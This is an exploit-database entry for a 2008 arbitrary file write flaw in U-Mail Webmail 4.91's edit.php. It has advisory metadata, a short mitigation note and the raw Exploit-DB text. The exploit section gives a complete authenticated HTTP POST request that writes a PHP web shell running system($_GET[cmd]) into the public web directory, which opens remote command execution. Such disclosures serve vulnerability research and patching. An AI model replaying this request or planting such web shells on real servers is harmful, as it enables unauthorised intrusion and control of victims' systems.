U-Mail Webmail Arbitrary File Write Vulnerability

vendor:

U-Mail

by:

Shennan Wang

7.5

CVSS

HIGH

Input Validation Error

CWE

Product Name: U-Mail

Affected Version From: U-Mail 4.91

Affected Version To: U-Mail 4.91

Patch Exists: NO

Related CWE: N/A

CPE: a:comingchina:u-mail

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

U-Mail Webmail Arbitrary File Write Vulnerability

This vulnerability allows remote attackers to write arbitrary file on vulnerable installations of U-Mail Webmail Server. Authentication is required to exploit this vulnerability.The specific flaw exists in the 'edit.php' file running on the U-Mail Webmail Server. A malicious HTTP POST request can write arbitrary file to the publicly accessible web directories.

Mitigation:

Ensure that input is properly validated and sanitized before being used in a file write operation.

Source

Exploit-DB raw data:

U-Mail Webmail Arbitrary File Write Vulnerability

==================================================

Vulnerable: 	U-Mail 4.91 
Vendors:	www.comingchina.com	
Category:   	Input Validation Error
Impact:		An attacker can write arbitrary data to new files.
Author:		Shennan Wang
Date:		2008-10-30
Web:		http://hi.baidu.com/nansec


Details:
=========	
This vulnerability allows remote attackers to write arbitrary file on vulnerable installations of U-Mail Webmail Server. Authentication is required to exploit this vulnerability.The specific flaw exists in the 'edit.php' file running on the U-Mail Webmail Server. A malicious HTTP POST request can write arbitrary file to the publicly accessible web directories.


Exploit:
=========
POST /webmail/modules/filesystem/edit.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
Referer: http://mail.d4rkn3t.cn/webmail/modules/filesystem/edit.php
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
Host: mail.d4rkn3t.cn
Content-Length: 120
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: GO_AUTH_SOURCE_KEY=0; LANGUAGE_CK=zh_CN; SCREEN_CK=Default+Style; PHPSESSID=0fa330ffdfd62d9e1bd8bd3942974a18

path=/var/www/htdocs/webmail/cmd.php&task=save&name=cmd.php&content=<?system($_GET[cmd]);?>

# milw0rm.com [2008-10-31]